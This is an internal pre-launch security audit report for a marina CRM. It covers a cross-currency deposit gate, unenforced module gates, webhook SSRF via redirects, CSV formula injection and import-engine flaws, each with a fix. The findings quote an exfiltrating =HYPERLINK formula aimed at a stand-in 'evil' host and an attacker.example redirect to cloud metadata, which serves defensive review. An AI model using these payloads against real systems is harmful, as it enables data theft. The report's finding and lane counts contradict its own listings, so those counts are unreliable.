32 KiB
Provenance: consolidated from audit pass 1 (run
wf_70a35b83-ab0— 2 lanes completed, 14 failed on structured-output), the file-IDOR smoke test, and audit pass 2 (runwf_f37b6f89-70a— 17 prose lanes launched, 6 completed, 11 starved by API rate-limiting). Supersedes the earlier partial doc. Status: PARTIAL — 6 of 17 risk lanes complete. The 11 rate-limited lanes (see § 3 coverage table) must be re-run at lower concurrency before this is a launch sign-off. Initiative: launch-readiness Initiative 2 (codebase + security audit).
Port Nimara CRM — Pre-Launch Master Audit Report
1. Executive Summary
This report consolidates findings from 17 targeted audit lanes plus an earlier pass-1 confirmation set. Seven lanes (Sales pipeline, Background worker isolation, Socket.IO authz, AI subsystem, GDPR cascade, Storage proxy/presign, Report/PDF correctness, Berth rules/recommender, Permissions/rate-limit, React components, Documenso e-sign) returned no findings due to API rate-limiting and must be re-run — coverage is incomplete and several high-risk surfaces remain un-audited (see coverage table and gap note).
From the lanes that did complete, the dominant theme is server-side enforcement gaps that the UI papers over: a disabled module that still accepts writes, a deposit gate that compares across currencies, an SSRF allowlist defeated by HTTP redirects, and money math accumulated in float. None require cross-tenant access to exploit; most are reachable by an ordinary authed user or admin within their own port.
Counts by severity (deduped)
| Severity | Count |
|---|---|
| CRITICAL | 3 |
| HIGH | 6 |
| MEDIUM | 11 |
| LOW | 9 (incl. pass-1 envelope cluster) |
| Total | 29 distinct findings |
Top 5 to fix before launch: (1) cross-currency deposit gate auto-marks berths Sold [C], (2) Residential module-disabled never enforced on v1 API [C], (3) tracked-link /q/ dead in all outbound mail [H, pass-1], (4) webhook fetch follows redirects → SSRF read primitive [H], (5) yacht archive/restore falsifies ownership-history ledger [H].
2. Findings
CRITICAL
C1 — Deposit-met gate compares amounts across currencies, auto-advancing pipeline and auto-marking berths Sold
src/lib/services/payments.service.ts:130-132 (sum: :62-70)
The auto-advance gate sums every deposit/refund row by Number(row.amount) regardless of row.currency (overwriting currency each iteration) and compares the bare scalar against interests.depositExpectedAmount, never reading the companion depositExpectedCurrency (default EUR, interests.ts:65). A 5000 EUR deal is satisfied by 5000 USD, or by 5000 of any weaker currency; mixed-currency payments (5000 USD + 5000 EUR) sum to a meaningless 10000 and almost always trip the gate. When it fires it advances stage to deposit_paid, stamps dateDepositReceived, and fires evaluateRule('deposit_received', …) whose default auto mode marks the primary berth Sold — a berth sold off an underpaid/wrong-currency deposit.
Fix: Normalize each payment to depositExpectedCurrency via convert/normalizeAmount before summing; reject (or require manual confirmation for) the gate when an FX rate is unavailable; assert unit equality before the >= compare. Confidence: 0.9
C2 — Residential module-disabled state is never enforced on the v1 API; only the UI is hidden
src/app/api/v1/residential/**/route.ts (all 13 routes); enforcement only at (dashboard)/[portSlug]/residential/layout.tsx:34-43
Tenancies routes gate every handler with assertTenanciesModuleEnabled, but none of the 13 residential v1 routes call any module gate. The only enforcement is the page-tree layout, which does not wrap /api/v1/residential/** (those live under app/api/, outside (dashboard)). The residential-module.service.ts:14-19 docstring claiming "direct API hits are rejected at the layout boundary" is false. An admin disables Residential (expecting it inert), yet any user with residential_* permissions can still POST /residential/clients, PATCH /residential/interests/[id], run the bulk endpoint, add notes — and createResidentialInterest fires partner-forward emails to third parties (residential.service.ts:341). The public inquiry endpoint is gated (api/public/residential-inquiries/route.ts:69), confirming the gap is unintended.
Fix: Add await assertResidentialModuleEnabled(ctx.portId) at the top of every residential v1 handler (mirror Tenancies), or a shared withResidentialModule wrapper; fix the docstring. Confidence: 0.93
C3 — Tracked-link /q/[slug] not in PUBLIC_PATHS; every tracked link in outbound mail is dead (pass-1, confirmed)
src/proxy.ts:51
External email recipients hitting a tracked /q/[slug] link are 302-redirected to /login, so every tracked link in outbound mail is dead for its intended (unauthenticated, external) audience.
Fix: Add /q/ to PUBLIC_PATHS. Confidence: high (confirmed)
HIGH
H1 — Webhook fetch follows redirects by default, bypassing the SSRF host allowlist
src/lib/queue/workers/webhooks.ts:224-237
The worker validates webhook.url via resolveAndCheckHost (static + DNS re-resolution of the configured host) then calls fetch(webhook.url, …) with no redirect: 'manual' — Node defaults to follow. An admin (or attacker with a manage_webhooks session) configures a genuinely-public https://attacker.example/ that passes every check; at delivery it returns 302 Location: http://169.254.169.254/.... The redirect target is never re-validated; the worker reads up to 1KB of the response into webhook_deliveries.response_body, which the deliveries listing returns verbatim — a full SSRF read primitive against cloud metadata/internal services with exfiltration via the deliveries UI. The DNS-rebind defense is moot.
Fix: Pass redirect: 'manual'; treat any 3xx as a non-followed failure, or follow manually re-validating each hop's resolved IP against resolveAndCheckHost with a hop cap. Confidence: 0.95
H2 — Yacht archive/restore transfers ownership by writing only denormalized columns, falsifying the ownership-history ledger
src/lib/services/client-archive.service.ts:249-252 & src/lib/services/client-restore.service.ts:401-404
Both paths update(yachts).set({ currentOwnerType, currentOwnerId }) without closing the open yacht_ownership_history row (endDate IS NULL) or opening a new one. The canonical transferOwnership() (yachts.service.ts:274-295) does both, guarded by uniqueIndex('idx_yoh_active') WHERE endDate IS NULL. After a smart-archive transfer the denormalized owner says Company X while history still shows the archived client as current owner with endDate IS NULL; the next real transferOwnership then closes the wrong row and the legal ownership audit trail is permanently wrong. Restore re-corrupts it identically.
Fix: Extract the history close+open into a transferOwnershipTx(tx, …) and call it from both archive and restore handlers. Confidence: 0.8
H3 — Refund sign convention is inconsistent across the two summation paths; refunds can inflate reported revenue
src/lib/services/payments.service.ts:68 vs src/lib/services/reports/financial.service.ts:163,263
The validator (payments.ts) accepts ^-?\d+(\.\d+)?$ and createPayment inserts the amount verbatim — refunds may be positive or negative. Readers disagree: getDepositTotalForInterest:68 always subtracts (-Math.abs(n)); sumPaymentsInRange:163 trusts the stored sign (comment "already negative"); getRevenueByMonth:263 drops refunds from the revenue chart entirely. If a rep enters a refund positive (what the regex permits and the natural UI input), the Financial report adds it — revenueCollected overstated by 2× the refund while refundsIssued still looks plausible. getDepositPositions filters deposits only, so a refunded deposit shows fully collected and can still trip the C1 gate.
Fix: Normalize refund sign at write time (-Math.abs(amount) when paymentType==='refund'), apply one convention in every reader, and make getRevenueByMonth subtract refunds. Confidence: 0.85
H4 — CSV formula injection in expense + audit-log exports
src/app/api/v1/expenses/export/csv/route.ts + src/lib/services/expense-export.tsx:66 + src/app/api/v1/admin/audit/export/route.ts:95-102
Both exporters quote-escape per RFC4180 but neither neutralizes formula triggers. A cell beginning with =, +, -, @, or leading tab/CR is emitted verbatim. Free-text fields (expense Establishment/Description; audit userAgent/metadata/oldValue/newValue) carry attacker-seeded payloads like =HYPERLINK("http://evil/?d="&A1,"OK"); an admin opens the export in Excel/Sheets → exfiltration or RCE on the admin's machine. papaparse has no built-in guard.
Fix: Shared sanitizer that prefixes a ' (or space) when String(v)[0] ∈ =+-@\t\r, applied in buildCsv's escape and before Papa.unparse. Confidence: 0.9
H5 — No date-overlap / scheduling model for berth tenancies; single-slot latch with no date awareness
src/lib/services/berth-tenancies.service.ts (lifecycle) + src/lib/db/schema/tenancies.ts:80-83
The only conflict guard is the partial unique index idx_bt_active on (berth_id) WHERE status='active'; there is no check that a new tenancy's [startDate,endDate] doesn't overlap an existing one. You cannot model a berth with a future-windowed tenant B while A's window has ended (reps end by status, not date), and nothing stops a pending row with an overlapping window from being activated the moment the prior one ends. Simultaneous-active double-booking is DB-prevented, but the system has no notion of a tenancy schedule — a real correctness gap for seasonal/fixed-term marina tenancies.
Fix: Either document tenancies as explicitly single-slot (and reject the seasonal use case), or add EXCLUDE USING gist (berth_id WITH =, tstzrange(start_date, coalesce(end_date,'infinity')) WITH &&) WHERE status IN ('pending','active'). Confidence: 0.8
H6 — No endDate >= startDate validation; update/renew/transfer persist inverted date ranges
src/lib/validators/tenancies.ts:35-67 + src/lib/services/berth-tenancies.service.ts:362-407,541-619
update/renew/transfer/end schemas accept raw z.coerce.date() with no cross-field refine. transferTenancy mints the successor with startDate: data.transferDate but endDate: existing.endDate (:583-584); transferring an over-running tenancy forward yields endDate < startDate. updateTenancy:371-372 and renewTenancy:441-442 are unchecked similarly. Inverted ranges corrupt tenancy-reports.service.ts occupancy/renewal math, dashboard tenure widgets, and can skew the public-berths "Under Offer/Sold" projection.
Fix: Add .refine(d => !d.endDate || !d.startDate || d.endDate >= d.startDate) to each schema; in transferTenancy clamp/validate endDate against transferDate. Confidence: 0.82
MEDIUM
M1 — Public file gate keys off user-settable category; any authed user can make own-port files publicly streamable (pass-1, confirmed)
src/app/api/public/files/[id]/route.ts:26 + src/lib/validators/files.ts:11,18 + src/lib/services/files.ts:186
category is a free string with no allow-list, so a user can self-set category=branding to make their own-port file publicly streamable + CDN-cached 24h. No cross-tenant theft (ids are UUIDv4).
Fix: Reserve branding (server-controlled) or add an explicit is_public column. Confidence: high (confirmed)
M2 — Per-conversion toFixed(2) rounding inside row-by-row accumulation compounds drift; inverse rates stored pre-rounded
src/lib/services/currency.ts:23 + src/lib/services/reports/financial.service.ts (all sums: :155,384,406,441)
convert rounds every conversion (Number((amount*rate).toFixed(2))); reports call it once per row inside accumulation loops, so each row is cents-rounded before adding — error accumulates up to ~±0.5¢×N. refreshRates stores inverse rates pre-rounded to 6dp, so X→USD and USD→X aren't exact reciprocals. Multi-currency revenueCollected/netContribution/pipelineExpected won't reconcile to bank statements.
Fix: Sum in source currency grouped by currency, convert each bucket once at the end, round only the final figure; store rates at full precision. Confidence: 0.8
M3 — Public website intake inserts a primary interest_berths row with isInEoiBundle:false, violating the primary↔bundle invariant
src/lib/services/public-interest.service.ts:237-244
The intake path raw-inserts { isPrimary:true, isSpecificInterest:true, isInEoiBundle:false }. The canonical upsertInterestBerthTx forces isInEoiBundle=true for any primary; migration 0083 exists specifically to repair this exact drift, and there is no DB trigger/check enforcing the invariant. Every website-originated multi-berth interest gets its primary berth silently excluded from the EOI bundle, so buildEoiContext (eoi-context.ts:147-152) omits it from the multi-berth range field on the signed document until a rep re-touches the link via the service.
Fix: Call upsertInterestBerthTx(tx, newInterest.id, berthId, { isPrimary:true, isSpecificInterest:true, addedBy:'public-submission' }) instead of the raw insert. Confidence: 0.78
M4 — Webhook test send ignores isActive while redeliver enforces it
src/lib/services/webhooks.service.ts:357-397
redeliverWebhookDelivery:301 hard-rejects !webhook.isActive, but sendTestWebhook checks only ownership and never inspects isActive. An admin who disabled a webhook (e.g. because its endpoint was flagged) can still force a live signed POST via the test button — the most convenient trigger for the H1 redirect SSRF since the admin controls timing and event type.
Fix: Mirror redeliver — reject test sends to inactive webhooks, or document the bypass deliberately. Confidence: 0.82
M5 — Dead-letter alert fans out to all super-admins across all ports, leaking the failing webhook's name cross-tenant
src/lib/queue/workers/webhooks.ts:312-331
The super-admin query has no portId filter, so a delivery failure on Port A notifies every super-admin of every tenant with a description embedding admin-controlled webhook.name (max 200 chars) and a /admin/webhooks/{id} link — a cross-tenant info leak plus a minor injection vector into other tenants' notification feeds. The notification row's portId is the originating port, so it may surface under the wrong port context.
Fix: Scope the super-admin lookup to portId, or route to an explicitly cross-tenant ops channel. Confidence: 0.78
M6 — Invoice totals computed in JS float and persisted via String(...) into unbounded numeric; 0% discount coerced to default 2%
src/lib/services/invoices.ts:250,270,273,322-327,350 (cols: src/lib/db/schema/financial.ts:109-114)
subtotal/discountAmount/total/line-item total are float-computed and written with String(...) into numeric columns that have no precision/scale, persisting values like "0.30000000000000004" and 24.690999999999999. Separately, discountPct = Number(setting.value) || 2 (:264) coerces a legitimately-configured 0% net10 discount to 2%. Blast radius capped today (invoices module default-disabled, zero dev rows), but any port that enables it bills clients these values.
Fix: Round each money output to 2dp before String(...); give the columns explicit (12,2); use setting.value ?? 2 so a configured 0% is honored. Confidence: 0.85
M7 — Dry-run preview lies about intra-file duplicate clients; no DB unique backstop on client-contact email
src/lib/import/classify.ts:91-108 vs src/lib/import/commit.ts:81-118 (index: src/lib/db/schema/clients.ts:104-109)
classifyRows never writes, so two file rows with the same brand-new email both classify insert; on commit the interleaved classify-then-insert ordering turns row 2 into a skip. For companies/berths a real unique index makes this a clean row-error, but clientContacts email/phone indexes are plain index(...), not unique — the only thing preventing duplicate clients is the sequential ordering. Any future batching/parallelizing/pre-classifying the commit silently creates duplicate clients with no DB guard. (Note: the import engine is currently only wired into the BullMQ worker; no API route enqueues it yet, so this is latent until the UI lands.)
Fix: Add a partial unique index on client_contacts(port, lower(value)) WHERE channel='email'; have classifyRows track in-file match keys so preview reflects commit. Confidence: 0.85
M8 — Import undo only reverses inserts; update-matches mutations are irreversible
src/lib/import/commit.ts:139-187
undoBatch filters action='inserted' (:162), so an update-matches run that overwrote 500 companies' taxId/billingEmail or 500 berths' price/dimensions cannot be rolled back — the ledger stores only the entity id, not the pre-image; undo reports deleted:0 and leaves every mutation. Separately, client undo db.delete(clients) relies on FK violations to block deletes but can't distinguish dependents the import created from those a user added later, and gives the operator no reason a row blocked beyond a row number.
Fix: Capture a JSON pre-image in import_batch_rows for updated rows and support update-undo; document update-matches as destructive-without-rollback until then; carry the blocking FK/table in blocked-row reporting. Confidence: 0.8
M9 — No idempotency/status guard on import commit; a re-enqueued batch re-imports and duplicates the row ledger
src/lib/import/commit.ts:76-79 + src/lib/queue/workers/import.ts:34-52
commitBatch unconditionally sets status:'committing' and re-processes every row; the worker never checks batch.status. maxAttempts:1 blocks BullMQ auto-retry, but a future commit endpoint or operator re-trigger re-runs the whole file — appending a second full set of import_batch_rows so undo later sees both run-1 inserts and run-2 skips and header counts no longer reconcile with the ledger undo trusts.
Fix: Early-return in the worker when batch.status is not in {dry_run, uploaded}; gate the transition with UPDATE … WHERE status IN (…) and bail on 0 rows. Confidence: 0.8
M10 — Inconsistent residential pipeline-stage validation: bulk rejects custom stages, per-row PATCH accepts arbitrary garbage
src/app/api/v1/residential/interests/bulk/route.ts:22-27 vs src/lib/validators/residential.ts:73-83 + src/lib/services/residential.service.ts:553
Bulk hardcodes z.enum(PIPELINE_STAGES) (the 7 built-ins), so after any admin stage customization a bulk change_stage to a custom stage 400s. The per-row path uses z.string() and writes it straight through with no membership check, so PATCH {pipelineStage:"anything"} parks an interest on a non-existent stage that then surfaces as an orphan in findOrphanInterests and distorts funnel reports.
Fix: Replace the hardcoded enum with a runtime check against listStages(portId) in both the bulk handler and updateResidentialInterest. Confidence: 0.85
M11 — Tenancies auto-create re-enables a module an admin explicitly disabled
src/lib/services/tenancies-module.service.ts:35-69,76-87 + berth-tenancies.service.ts:150-151 (+ documents.service.ts:1687 webhook path)
createPending calls enableTenanciesModule(portId) unconditionally inside its tx, UPSERTing the setting back to true, and the webhook autoCreatePendingTenancies deliberately does not gate on isTenanciesModuleEnabled. So: admin disables Tenancies → a Reservation Agreement completes → the module flips itself back on and reappears in the sidebar, contradicting the "explicit false always wins" precedence.
Fix: Only call enableTenanciesModule when the setting is unset (respect an explicit false), or have it no-op when a stored false exists. Confidence: 0.72
LOW
L1 — Deposit gate has no lower-bound re-lock after a refund; float-summed >= boundary
src/lib/services/payments.service.ts:132 + getDepositTotalForInterest
With toFixed(2) masking most float-boundary cases, the residual issue is no idempotency/lower-bound guard: a deposit that trips the gate (berth Sold, dateDepositReceived stamped) followed by a refund that drops net below expected leaves the stage advanced and the berth Sold. Compounded by H3 where refunds may not even subtract in some readers.
Fix: Round both sides to cents before compare; on refund recompute the gate condition and reverse/flag the stage/berth state when net drops below expected. Confidence: 0.7
L2 — Missing-rate / stale-rate FX handling silently adds unconverted foreign amounts
src/lib/services/currency.ts:8-14 + src/lib/services/reports/currency.ts:31
getRate returns null for unknown pairs and normalizeAmount falls back to ?? amount, adding an unconverted foreign amount straight into the port-currency total (5000 JMD added as literal 5000 to a EUR total). No max-age check on currencyRates.fetchedAt; refreshRates swallows all errors (:71), so a months-stale rate is used silently.
Fix: Surface a "could not normalize" flag in the report payload when convert returns null; reject rates older than a threshold; don't swallow refreshRates failures. Confidence: 0.65
L3 — companyNotes create-response overwrites real updatedAt with createdAt; stale doc + dead defensive code
src/lib/services/notes.service.ts:932 (+ src/lib/db/schema/companies.ts:131)
The schema now defines a real companyNotes.updatedAt, contradicting the documented "lacks updatedAt" contract. The create path still substitutes createdAt while update() and the aggregator read the real column — so the create response's updatedAt differs from a subsequent read. Cosmetic.
Fix: Drop the updatedAt: note.createdAt override; update CLAUDE.md. Confidence: 0.7
L4 — Two junction-insert paths bypass the cross-port guard in upsertInterestBerthTx
src/lib/services/public-interest.service.ts:237 & src/lib/services/client-restore.service.ts:380
upsertInterestBerthTx asserts interest.portId === berth.portId; the two raw inserts skip it. Both currently resolve berthId from a port-scoped lookup in the same tx, so it's defense-in-depth, not currently exploitable — but a future resolver edit loses the guard. Folds into M3's fix (use the service).
Fix: Route both through upsertInterestBerthTx. Confidence: 0.6
L5 — IPv6-mapped-IPv4 SSRF branch is dead code; static validator accepts [::ffff:127.0.0.1] etc.
src/lib/validators/webhooks.ts:56-60
The ::ffff: handler expects a dotted-quad tail but Node normalizes the hostname to hex ([::ffff:7f00:1]), so isBlockedIpv4 never matches → not blocked. The create/update validator accepts loopback/IMDS/RFC1918 mapped literals. Currently MEDIUM-downgraded to LOW because the worker's resolveAndCheckHost throws ENOTFOUND on the bracketed literal — but for the wrong reason (DNS failure, not range detection); any future bracket-strip-before-lookup or undici change re-opens it. No test covers this form.
Fix: Parse the IPv6 hostname properly (reconstruct from hextets or use net.isIP + a real IPv6 range library) and block ::ffff: mapped ranges by hex encoding. Confidence: 0.9
L6 — TOCTOU between validation lookup() and fetch()'s independent re-resolution (residual DNS rebind)
src/lib/queue/workers/webhooks.ts:18-45 vs :224
resolveAndCheckHost checks resolved IPs but fetch re-resolves the hostname; the validated IP is not pinned, leaving a short-TTL rebind window. Lower priority than H1 (redirect is the easier path to the same target).
Fix: Resolve once and pin the address (custom undici Agent with fixed lookup, or connect by IP with Host/SNI preserved); reject if the connected peer IP is private. Confidence: 0.7
L7 — Redeliver re-signs stale captured payload with a fresh timestamp; transport-freshness checks can be defeated
src/lib/queue/workers/webhooks.ts:69 + src/lib/services/webhooks.service.ts:312-316
Redeliver clones source.payload and the worker regenerates id/timestamp at send (:142-149) while data stays stale — so a replay carries a fresh signature + fresh X-Webhook-Timestamp over old data, and the delivery id changes per redeliver. A receiver relying solely on transport timestamp/delivery-id freshness accepts arbitrarily old event data as fresh. Semantics/documentation gap.
Fix: Document that redeliver intentionally re-signs stale data; surface the original event time inside data for business-level freshness checks. Confidence: 0.6
L8 — createPending allows unlimited pending rows on an already-active berth (dead-end UX)
src/lib/services/berth-tenancies.service.ts:93-179
createPending never consults active-tenancy state; the partial unique index only covers active, so any number of pending rows insert on a fully-occupied berth and all ConflictError one-at-a-time at activate. No data corruption; confusing UX and dashboard noise.
Fix: Query for an existing active tenancy in createPending and warn/soft-block or surface it in the create response. Confidence: 0.78
L9 — Tenancy cluster: wrong socket event + non-transactional saveStages (two minor items)
src/lib/services/berth-tenancies.service.ts:401-404 and src/lib/services/residential-stages.service.ts:91-167
(a) updateTenancy emits berth_tenancy:activated for a metadata-only edit, causing false "activated" toasts/cache invalidations on clients — fix: emit :updated (conf 0.9). (b) saveStages runs reassignment UPDATEs and the stage-list UPSERT as separate top-level db calls despite a docstring claiming one transaction; a crash between them leaves interests reassigned but the stage list unsaved — fix: wrap both in db.transaction or correct the docstring (conf 0.83).
L10 — Import substring header auto-mapping can mis-map fields; berth mooring regex laxer than canonical (two minor items)
src/lib/import/mapping.ts:53 and src/lib/import/adapters/berths.ts:12-14,31
(a) c.includes(h.n) || h.n.includes(c) scores any substring relationship as a near-exact match, so "Billing Email" can auto-map to client email and "Company Name" to name; a careless confirm imports into the wrong column at scale — fix: surface score-1 substring matches as "review" not pre-selected, or use whole-token boundaries (conf 0.6). (b) canonMoo zod regex ^[A-Za-z]+-?0*\d+$ is laxer than the documented canonical ^[A-Z]+\d+$ and parseInt loses precision past MAX_SAFE_INTEGER; dedup stays self-consistent so no duplicate/cross-tenant risk — fix: align the regex, reject absurd numeric lengths (conf 0.55).
L11 — API envelope / auth-surface inconsistency cluster (pass-1, confirmed)
Multiple files
me/email returns 3 shapes; no-content mutations return {ok:true} instead of 204; dashboard/notifications/search GETs return bare shapes; inline 400s bypass errorResponse; public intake POSTs use bespoke shapes; portal login reads ?next= but proxy sets ?redirect=; scanner layout lacks a membership check; module-gate layouts fail-open on an unresolved slug.
Fix: Normalize to the { data } envelope per CLAUDE.md; route 400s through errorResponse; align ?next=/?redirect=; add the scanner membership check; fail-closed on unresolved slug. Confidence: high (confirmed)
L12 — Import port-authorization trust boundary is unguarded (latent) [needs-confirm]
src/lib/import/types.ts:46-49 + src/lib/queue/workers/import.ts:71-78
portId is taken from batch.portId and trusted. Correct today because every service call stamps portId from ctx and there is no API layer enqueuing the engine — but when the commit/dry-run route lands it MUST re-derive portId from the session and assert batch.portId === session.portId, and gate on an import permission (none is checked anywhere in the engine path today). Flagged for the route author. Confidence: 0.75
3. Lane Coverage Table
| Lane | Status | Findings (C/H/M/L) | Top risk |
|---|---|---|---|
| Financial money-math | Complete | 1/2/2/1 | C1 cross-currency deposit gate auto-marks berths Sold |
| Sales pipeline state machine | Rate-limited — RE-RUN | — | Not audited |
| Cross-entity ownership / schema drift | Complete | 0/1/1/2 | H2 archive/restore falsifies ownership-history ledger |
| Background worker tenant isolation | Rate-limited — RE-RUN | — | Not audited |
| Socket.IO realtime authorization | Rate-limited — RE-RUN | — | Not audited |
| AI subsystem spend cap + prompt injection | Rate-limited — RE-RUN | — | Not audited |
| Destructive client lifecycle + GDPR cascade | Rate-limited — RE-RUN | — | Not audited |
| Storage proxy, presign & file validation | Rate-limited — RE-RUN | — | Not audited (pass-1 M1 partly covers) |
| CSV/bulk import engine | Complete | 0/1/3/3 | H4 CSV formula injection in expense + audit exports |
| Email engine internals | Rate-limited — RE-RUN | — | Not audited |
| Outbound webhook SSRF + delivery integrity | Complete | 0/1/3/2 | H1 fetch follows redirects, defeating SSRF allowlist |
| Report/PDF correctness + per-port filtering | Rate-limited — RE-RUN | — | Not audited |
| Residential + tenancies logic | Complete | 1/2/3/2 | C2 residential module-disabled never enforced on v1 API |
| Berth rules / recommender / public status | Rate-limited — RE-RUN | — | Not audited |
| Permissions model + rate-limit coverage | Rate-limited — RE-RUN | — | Not audited |
| React components/hooks + UI/UX | Rate-limited — RE-RUN | — | Not audited |
| Documenso e-sign integration | Rate-limited — RE-RUN | — | Not audited |
| Pass-1 (confirmed) | Folded in | 0/1/1/1 | C3 tracked /q/ links dead in all outbound mail |
Coverage gap: 11 of 17 lanes returned no findings due to API rate-limiting, including several high-risk surfaces (GDPR cascade, worker isolation, Socket.IO authz, AI spend/injection, permissions, storage presign, Documenso). This report is not a complete pre-launch sign-off — the rate-limited lanes must be re-run before launch. Findings above reflect only the 6 lanes that completed plus the pass-1 confirmations.